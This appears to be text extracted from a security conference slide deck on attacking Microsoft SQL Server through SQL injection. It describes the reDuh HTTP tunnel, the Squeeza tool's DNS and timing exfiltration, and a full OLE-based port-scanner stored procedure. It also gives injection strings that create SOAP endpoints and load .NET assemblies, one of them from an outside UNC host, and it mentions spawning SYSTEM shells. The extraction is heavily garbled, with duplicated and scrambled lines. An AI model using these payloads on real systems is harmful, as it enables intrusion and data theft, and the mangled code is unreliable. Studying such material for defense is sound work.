  • 18. ReDuh.jsp • Written by Glenn Wilkinson (glenn@sensepost.com) • Upload / Create .JSP page on server • Fire‐up local proxy (localhost:1234) • Tell web‐page to create web‐bridge to internal_host:3389 – JSP creates socket to internal_host:3389 – JSP creates queues to handle internal comms. • Attacker aims RDC client at local proxy on 127.0.0.1:1234 – Local endpoint accepts traffic, converts packets to base‐64 encoded  POST messages. – Packets are POSTed to .JSP page • JSP Page decodes packets queues for delivery via created socket JSP Page decodes packets, queues for delivery via created socket. – Return traffic is queued, encoded as base64 and queued again. • Proxy polls server for return packet data, recreates them as packets  and re feeds the local socket. and re‐feeds the local socket.
  • 19.
  • 20. What this means.. What this means.. • We have a simple TCP over HTTP/HTTPS  p / implementation • It requires the creation of a simple, single  .JSP  file on the target.. file on the target • Surely this isn’t .JSP specific ? • ian@sensepost com ported this while cursing a ian@sensepost.com ported this while cursing a  lot to ASP.net • gert@sensepost.com gave us the php version. g p g p p • Basically covers most of the common cases.. If we  can create a web page, we can create a circuit..
  • 21. Squeeza • Released at BH USA 2007 e eased at US 00 • Advanced SQL injection tool (another one on the  p pile…), aimed at MS SQL • Treated injection slightly differently p g • Split content generation from return channel – Content generation – Supported multiple return channels • Could mostly mix ‘n match  content generation  modes with return channels
  • 22. Squeeza • Content created (not the interesting part) – Command execution: xp_cmdshell (old faithful) – Data extraction: select name from sysobjects where  xtype=‘U’ yp – File download: bulk insert … from ‘c:blah.txt’ • Return channels (more interesting part) – DNS – Timing – HTTP Error‐based (ala Automagic SQL Injector) • Return channels NOT supported – Inline HTML extraction – Standard blind injection techniques Standard blind injection techniques
  • 23. Squeeza process overview process overview Generate content using command execution, file copy or data  extraction injection string Store data in a temporary table inside SQL database bl b Extract data using return channel of choice: DNS, timing, SQL  Extract data using return channel of choice: DNS timing SQL error messages Not fast enough for real‐time applications, but good  Not fast enough for real‐time applications but good enough for batch applications such as command  execution, file copy etc. Don’t expect to relay VNC  traffic. ff
  • 24. Squeeza: DNS Squeeza: DNS • Weaponised SQL server content extraction through DNS queries • Data broken up into chunks, encoded and emitted through DNS • Which meant: – Entire DNS channel handled in SQL i NS h l h dl d i SQL – Elevated privs not required (but used if available) – Provided reliability guarantees, since client had complete Provided reliability guarantees, since client had complete  control over what was requested and received • Compare to SQLNinja (awesome tool, DNS not so much) – requires binary upload+cmd execution i bi l d d ti – reliability guarantee is ‘try again’, as client can’t control remote  binary – however, does provide own ‘fake’ dns server
  • 25. Windows IP Configuration Windows IP Configuration Temp table able exec xp_cmdshell ‘ipconfig /all’ Second injection string Attacker Victim  Victim 57696e646f777320495020436f6e66696775726174696f6e.sensepos Windows IP Configuration WWW/SQL  t.com Ethernet adapter Local Area Connection: Server Connection-specific DNS Suffix . : 57696e646f777320495020436f6e66696775726174696f6e.sensepost.co 57696e646f777320495020436f6e66696775726174696f6e sensepost co IP Address. . . . . . . . . . . . : 192.168.0.47 m Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 192.168.0.2 Attacker DNS  Server Grab limited chunk of data from temporary table, convert to hex, tack on domain Grab limited chunk of data from temporary tableDB originalhex server asdomain Basic setup: attacker has SQL injection vulnerability into  SQL server, as  sa Basic setup: attacker has SQL injectionwith in into into SQL tack on ‘sa’ Request is received and converted into original form Request is Command isisis producedconvert to form Initiate DNS request with encoded data Initiate DNS request vulnerability data Command is run on SQL server received and run on SQL server Output is stored in DB Output converted Output is produced Output stored encoded
  • 26. Squeeza: timing Squeeza: timing • Weaponised SQL server content extraction SQL server content extraction  through timing attacks • Data broken up into chunks bits extracted one Data broken up into chunks, bits extracted one  at a time through timing differences • Whi h Which meant: – Didn’t need an explicit return channel – Not absolutely reliable, but good enough – Many cups of coffee
  • 27. Profiling SQL servers Profiling SQL servers • We want to know which SQL server version we’re  dealing with • Features added and removed between releases – 2000 added ???? 2000 added ???? – 2005 removed xp_execresultset – 2005 added stored procedure creation functionality • Common problem with a number of solutions bl h b f l – select @@version, choose return channel • What about other methods? What about other methods? – Look for new/removed tables/stored procs/users – Look for new SQL syntax
  • 28. Squeeza future • Seems too nice to forget Seems too nice to forget • Not enough uptake • Maybe piggyback onto Metasploit?? b i b k l i ?? • What would this require?
  • 29. This OLE thing This OLE’ thing • In 2002, Chris Anley’s paper discussed OLE object instantiation and  execution from T‐SQL ti f T SQL – Demo’ed file reading/writing, shell execution – Maybe this got lost in the rest of the goodness • How many SQL injection tools ignore OLE attacks? How many SQL injection tools ignore OLE attacks? – ??????????? • Is it because of privs? – Hmmmmm sp oacreate sp oamethod require execute on those Hmmmmm, sp_oacreate, sp_oamethod require execute on those  methods • Complexity? – Regular injections used by other tools create/execute stored procs all  egu a ject o s used by ot e too s c eate/e ecute sto ed p ocs a the time • Payload size? – Again, current tools are no super packers
  • 30. Growing OLE together Growing OLE’ together • In 6 years not much has changed In 6 years, not much has changed • We can still use OLE objects (another route for  ActiveX object exploitation?) ActiveX object exploitation?) • Why this route? – Safe for scripting – Killbits • We think OLE integration deserves much more  focus in injection payloads
  • 31. Something OLE , something new Something OLE’, something new Example of a usable new OLE payload Example of a usable new OLE payload SQL‐based port scanner
  • 32. SQL port scanner SQL port scanner • Basis is “MSXML2 ServerXMLHTTP” object Basis is  MSXML2.ServerXMLHTTP object • Used to retrieve XML data from a webserver • Installed with IE, IIS,???? ll d i h S ???? – Two versions on win2k3 • We can specify then IP:port of the target  webserver • Return values differ depending on whether a  g webserver is listening or not
  • 33. SQL port scanner SQL port scanner • We can tell if ports are open or closed/filtered We can tell if ports are open or closed/filtered • Even better, basic protocol fingerprinting since  we re also told if a legitimate webserver we’re also told if a legitimate webserver answered • But how to differentiate between closed and But how to differentiate between closed and  filtered? • Same way everyone else does (mostly) Same way everyone else does (mostly) – Timing and timeouts – setTimeouts
  • 34. probeip(ip, port) probeip(ip, port) CREATE PROCEDURE probeip @host VARCHAR(50), @port VARCHAR(5)AS BEGIN Create URI from ip and port Create URI from ip and port DECLARE @oINT,@ropINT,@rseINT,@statusINT,@s varchar(60) Instantiate OLE control set @s='http://'+@host+':'+@port+'/’ Configure control timeouts EXEC sp_OACreate 'MSXML2.ServerXMLHTTP', @oOUT EXEC @rop = sp OAMethod @o 'setTimeouts' NULL, 3000, 3000, @o, 'setTimeouts', NULL 3000 3000 3000, 3000 Initialise control (capture return code) Send request (capture return code) EXEC @rop = sp_OAMethod @o, 'open', NULL, 'GET',@s EXEC @rse = sp_OAMethod @o, Grab HTTP status 'send’ EXEC sp_OAGetProperty@o, 'status', @status OUT EXEC sp_OADestroy Test return codes and determine port status @o SELECT @s+CASE@rop WHEN -2147012891 THEN 'Blocked' WHEN 0 THEN CASE @rse WHEN -2147012744 THEN 'Open' WHEN 0 THEN 'Open/WWW' Open Open/WWW WHEN -2147012867 THEN 'Closed' WHEN -2147012894 THEN 'Filtered' WHEN -2147012851 THEN 'Open/WWWR' ELSE 'Invalid' END END END Basic probe stored procedure
  • 35. Putting it together Putting it together • Using the probeIP() building block we can Using the probeIP() building block, we can  build further tools • Port sweepers – scanports(ip, portlist) • Portscanners – scanhosts(iplist, port) • Webserver detectors
  • 36. So what does that give us? So what does that give us? • A SQL based port scanner A SQL‐based port scanner • Implemented in a stored proc • Can scan almost all ports C l ll • Supports HTTP detection • But why? – No messy nmap uploads o essy ap up oads – No A/V footprints
  • 37. What s going to trip us up? What’s going to trip us up? • Inter‐protocol protections – Cross‐protocol attacks have been around for a while – Been getting a bit of attention again SandroGauci provided a short paper recently enumerating browser  support – Browsers provide protection by banning connections to specific ports – FF bans 58, Opera bans 58, Safari bans 43 – IE 7 bans 6 ports, IE 6 banned 5 ports, IE 5 didn’t ban at all IE 7 bans 6 ports, IE 6 banned 5 ports, IE 5 didn t ban at all – More of a stumble than a trip, all the interesting ports are still allowed • Proxies – setProxy can disabled proxy requests y p y q • Speed – Stats?????
  • 38. Squeezing OLE juice Squeezing OLE juice • Turns out sometimes we make the right Turns out, sometimes we make the right  decision • Integrating with Squeeza is simple Integrating with Squeeza is simple – Portscanner generates content –CCan pull results through dns, timing or http errors ll l h hd i i h
  • 39. OLE dog, new tricks OLE dog, new tricks • OLE objects deserve lots more looking at j g • Why bother with debug scripts, when a  combination of T‐SQL and  ‘scripting.filesystemobject’ can write anything to  ‘scripting filesystemobject’ can write anything to disk? • Why bother with xp cmdshell, when Why bother with xp_cmdshell, when  ‘scripting.shell’ works just as well regardless of  whether the stored proc is available • I Importantly, this functionality is available across  l hi f i li i il bl multiple SQL server versions, making attacks  p version independent
  • 40. SQL2005  Pen Tester Nightmare? SQL2005 – Pen Tester Nightmare? • By all accounts SQL 2005 is Microsoft’s SDLC flagship  product • SQL Server poses some unique challenges: – Highly Public; – Hi hl E l it d Highly Exploited; – Not really directly through Microsoft’s fault! • They had to take steps to reduce attack surface, to stop They had to take steps to reduce attack surface, to stop  people hurting themselves (think mandatory seat‐belts  in cars) • Much touted SD3 – Secure by Design, Secure by  Default, Secure by Deployment • Famous hax0r celebrities have stated how they hate Famous hax0r celebrities have stated how they hate  coming up against SQL05 on deployed applications..
  • 42. Fundamental problems with ‘05 • Microsoft needed desperately to Microsoft needed desperately to  reduce the attack surface on  SQL05. SQL05 5:1 • 1000 stored procedures available  in a default (SQL7) install? in a default (SQL7) install? • Much publicized lock‐down of superfluous  functionality and features. f ti lit df t • This however has 2 major problems
  • 43. The 2 Big Problems The 2 Big Problems • Mixed Messages: Incoherent at best and  Dishonest at worst. Dishonest at worst • Any software engineer will tell you that  Features will win because of “dancing pigs”  and “management by in‐flight magazine”. d“ b i fli h i ”
  • 44. The 2 Big Problems The 2 Big Problems 1. Mixed Messages: Incoherency, In Flight  Magazines and Dancing Pigs. Magazines and Dancing Pigs 2. In‐Band Signaling: – This mistake is so old, it almost hurts to write it. – Cap’n Crunch vs. Telephone Systems – Buffer Overflows and Von Neumann  Architectures • SQL Server 2005 makes heavy use of in‐band  signaling. • Secure by design?
  • 45. InBand Signaling++ (sp configure) Signaling++ (sp_configure) • Early Microsoft documentation on SQL Best  Practice mentioned disabling xp_cmdshell. Practice mentioned disabling xp cmdshell. – Every one of the (many) SQL Injection tools out there  uses sp_configure to re‐enable xp_cmdshell. – Thi i This is an old lesson for SQL Server to learn! ld l f SQL S t l ! • In fact _all_ of the features widely screamed to  be oc ed do , ca be e e ab ed t be locked down, can be re‐enabled within the  t e same channel. (the same channel that SQL  Injection rides in on!) • Thi h d h This shared channel for  lf configuration/administration obviously buys us  some convenience, but a secure design? , g
  • 46. sp_configure; RECONFIGURE sp configure; RECONFIGURE • Ad Hoc Distributed Queries Ad Hoc Distributed Queries – (used by many tools to brute‐force sa password) – (used by many tools for effective data extrusion – ( y y SQL DataThief) • xp_cmdshell – Almost as famous as ‘ or 1=1‐‐ • CLR Integration g – The gateway to much fun.. • In‐band signals FTW! g
  • 47. SQL2005  Some new features SQL2005 – Some new features • Other than old favorites we are going to look Other than old favorites, we are going to look  at 2 new ones: – Native XML Web Services; Native XML Web Services; – CLR Integration.
  • 48. Native XML Integration Native XML Integration • The marketing pitch: The marketing pitch: “Microsoft SQL Server 2005 provides a standard mechanism for accessing  the database engine using SOAP via HTTP. Using this mechanism, you  can send SOAP/HTTP requests to SQL Server”…” Since the SOAP/HTTP  d SOAP/HTTP t t SQL S ” ” Si th SOAP/HTTP access mechanism is based on well‐known technologies such as XML  and HTTP, it inherently promotes interoperability and access to SQL  Server in a heterogeneous environment. Any device that can parse XML  Server in a heterogeneous environment Any device that can parse XML and submit HTTP requests can now access SQL Server.” • Native Soap Integration and the wiley hacker p g y – Web Server DoS? – Comfortable X‐Platform Query Manager? Comfortable X Platform Query Manager?
  • 49. Web Server DoS Web‐Server DoS • Denial of Service is boring! • But boring will hurt you just as badly as  b ll h b dl anything else..
  • 50. Web Server DoS Web‐Server DoS • SQLServer now interacts directly with http.sys in the  Win2k3 kernel to manage created endpoints. • When included within a standard ‘CREATE ENDPOINT’ call,  MSDN is quite specific: “while the SQL Server‐based  application is running, any HTTP requests to this endpoint  are forwarded to the instance of SQL Server. ” f d d t th i t f SQL S ” 1. 2. 3.
  • 51. But surely this needs privs? But surely this needs privs? • This _had_ to come up with threat modeling. – Secure marketing docs mention: “Both the Windows  account and the SQL Server account that SQL Server 2005  impersonates must have local Windows administrator  privileges for the HTTP endpoint registration to succeed.” f ” • Bah! Sounds like we are out of luck.. – MSDN (again): “If you execute the statement in the context MSDN (again):  If you execute the statement in the context  of a SQL Server account, for example, sa or some other SQL  Server login, SQL Server 2005 impersonates the caller by  using the SQL Service account, specified when SQL Server is  installed, to register the endpoint with HTTP.SYS.” i ll d i h d i ih ” • Ah.. So all we need is to be SA / in sysadmin (will that  ever happen?? pp
  • 52. SA  DoS on every IIS Instance ? SA == DoS on every IIS Instance ? • IIS Server running multiple sites (using name  based or IP based virtual hosting) b d IP b d i lh i ) • SQL Service account given FileSystem restrictions to ensure that SQL DBA cant  deface / affect other customer sites. • Sounds like “NT Port bind, 10 years later..”
  • 53. Creating endpoints for fun and profit 1. 1 2. 2 3. 3 'exec('CREATE FUNCTION tS ' ('CREATE FUNCTION getServerVersion() RETURNS  V i () RETURNS NVARCHAR(MAX) AS BEGIN;RETURN (@@VERSION);END')‐‐ ' exec('CREATE ENDPOINT eepp STATE = STARTED AS HTTP (AUTHENTICATION = ( INTEGRATED  ), ),PATH = ''/sql/demoo'',PORTS = ( CLEAR ))FOR SOAP (WEBMETHOD ''getServerVersion''(NAME / q/ , ( )) ( g ( = ''demo_db.dbo.getServerVersion''),BATCHES = ENABLED,WSDL = DEFAULT)')‐‐
  • 54. • The vector here is obvious: We wanted to build a  function or proc. That would accept arbitrary  input from SOAP, then eval() it… i tf SOAP th l() it • But Microsoft beat us to it…
  • 55. X Platform Query Managers X‐Platform Query Managers • Did you notice the methods VisualStudio extracted from the WSDL  ? getServerVersion() () Sqlbatch(BatchCommands As string, Parameters As ArrayofParameters) • MSDN: “When BATCHES are ENABLED on an endpoint by using the  T‐SQL command, another SOAP method, called "sqlbatch," is  implicitly exposed on the endpoint. The sqlbatch method allows you  implicitly exposed on the endpoint. The sqlbatch method allows you to execute T‐SQL statements via SOAP”
  • 56. ' exec('CREATE ENDPOINT ep2 STATE=STARTED AS HTTP  (AUTHENTICATION=(INTEGRATED),PATH = ''/sp'',PORTS=(CLEAR))FOR  SOAP(BATCHES=ENABLED)')‐‐ SOAP(BATCHES ENABLED)') 1. 2. 3.
  • 57. New: CLR Integration New: CLR Integration • The thing that made squeeza difficult to write in ‘07 was mainly T‐ SQL. • T SQL is Turing Complete but when trying to extract data from a T‐SQL is Turing Complete but when trying to extract data from a  network via encoded DNS packets or timing it starts to creak a  little.. (we did it, but lost a lot of hair in the process) • Microsoft to the rescue (msdn): “Microsoft SQL Server 2005 Microsoft to the rescue (msdn):  Microsoft SQL Server 2005  significantly enhances the database programming model by hosting  the Microsoft .NET Framework 2.0 Common Language Runtime  (CLR). This enables developers to write procedures, triggers, and  functions in any of the CLR languages, particularly Microsoft Visual  functions in any of the CLR languages particularly Microsoft Visual C# .NET, Microsoft Visual Basic .NET, and Microsoft Visual C++. This  also allows developers to extend the database with new types and  aggregates.” • Huh ? • Turned off by default…  – Remember slide on in‐band signals &&sp_configure ? – exec sp_configure(clr enabled),1
  • 58. New: CLR Integration New: CLR Integration • Does allow for very fine grained access Does allow for very fine grained access  control. • Fortunately these can all be over‐ridden if you Fortunately these can all be over ridden if you  have SA access. • Simply it allows us to load an arbitrary .net Simply it allows us to load an arbitrary .net  Assembly into SQL Server, and depending on  how we handle it, possibly execute this binary  within SQL Servers address space. • How do you load a .net assembly?
  • 59. Loading .net Assemblies (csc) Loading .net Assemblies (csc) • Create .cs file on filesystem (1) • Call on csc.exe to compile the binary (2) • Import the binary into SQL (3) Import the binary into SQL (3) • Profit! (4) (1) ( ) (2) (3) (4)
  • 60. Loading .net Assemblies (csc) Loading .net Assemblies (csc) • There has been talk of ntsd and debug exe There has been talk of ntsd and debug.exe being removed in default installs. • Fortunately we now have csc exe shipping Fortunately, we now have csc.exe shipping  with every deployed SQL Server! • csc.exe i is perfectly predictable: f l di bl – %windir%system32dllcachecsc.exe • This is still pretty ghetto!
  • 61. Loading .net Assemblies (UNC) Loading .net Assemblies (UNC) • Fortunately, like DLL’s this can be loaded from a  y, UNC share too. • Profit! • (Of course all of this is do‐able via an injection  point) • http://victim2k3.sp.com/login.asp?  username=boo&password=boo'%20CREATE%20ASSEMBLY% 20moo%20FROM%20 196.31.150.117temp_smbmoo.dl 20moo%20FROM%20'196.31.150.117temp smbmoo.dl l'— • But this still requires outbound UNC (which is  still useful for squeeza and DNS resolution), but  still useful for squeeza and DNS resolution) but remains ghetto!
  • 62. Loading .net Assemblies (0x1618..) Loading .net Assemblies (0x1618..) • T‐SQL Syntax allows the assembly to be T SQL Syntax allows the assembly to be  created at runtime from the files raw hex. 1. File.open( moo.dll rb ).read().unpack( H* 1 File open("moo dll”,"rb") read() unpack("H*" ) ⇒ ["4d5 90000300000004000000ffff0 ["4d5a90000300000004000000ffff0......]  ] 2. CREATE ASSEMBLY moo FROM  0x4d5a90000300.... 3. exec HelloWorldSP (Profit!) ( ) • This makes creation via injection even easier!
  • 63. Assemblies and Security Privs. Assemblies and Security Privs. • Your created binary is by default placed inside a  sand box sand‐box • Assemblies are loaded as: – SAFE [Calculations, No external Resources] – EXTERNAL_ACCESS [Access to Disk, Environement,  Almost everything with some restrictions] – UNSAFE [God Help You! | Equivalent of Full Trust | UNSAFE [God Help You! | Equivalent of Full Trust |  Call unmanaged Code / Do Anything as SYSTEM] • UnSafe Assemblies must be signed with a new  CLR Si i CLR Signing procedure or d • SA can set the Database to “Trustworthy”
  • 64. What can we do with this? What can we do with this? • The fun is just beginning: The fun is just beginning: – Effectively loading binaries into memory without  noticeably affecting disk in an unusual manner! noticeably affecting disk in an unusual manner! – .net assembly to launch calc.exe (as System) – .net assembly to launch remote shell (System) net assembly to launch remote shell (System) – Squeeza without the horrible T‐SQL ? – reDuh clr sql☺ reDuh.clr. sql☺
  • 65. [1] SQL Injection used to create CLR reDuh.exe on SQL Server [1] SQL Injection used to create CLR reDuh.exe on SQL Server [2] Local Proxy breaks down TCP packets, submits to reDuh through SQL Injection strings.. Injection strings [4] Return packets are encoded by reDuh within SQL server, and fetched by the  attackers proxy using Injection vector, completing the circuit. attackers proxy using Injection vector completing the circuit
  • 67. References “Advanced SQL Injection In SQL Server Applications”, Chris Anley, 2002 “Building the bridge between the web app and the OS: GUI access Building the bridge between the web app and the OS:  GUI access  through SQL Injection”, Alberto Revelli, 2008 “IServerXMLHTTPRequest/ServerXMLHTTP”  http://msdn.microsoft.com/en‐ htt // d i ft / us/library/ms762278%28VS.85%29.aspx “The Extended HTML Form attack revisited”, SandroGauci, 2008 “Programming Microsoft® SQL Server™ 2005”, Andrew J. Brust, 2006 “Writing Stored Procedures for Microsoft SQL Server”, Mathew Shepker,  2000 “Overview of Native XML Web Services for Microsoft SQL Server 2005”,  http://msdn.microsoft.com/en‐us/library/ms345123.aspx, 2005 http://msdn.microsoft.com/ http://msdn microsoft com/ “Compiling and Deploying a CLR Assembly “,  http://msdn.microsoft.com/en‐us/library/ms254956(VS.80).aspx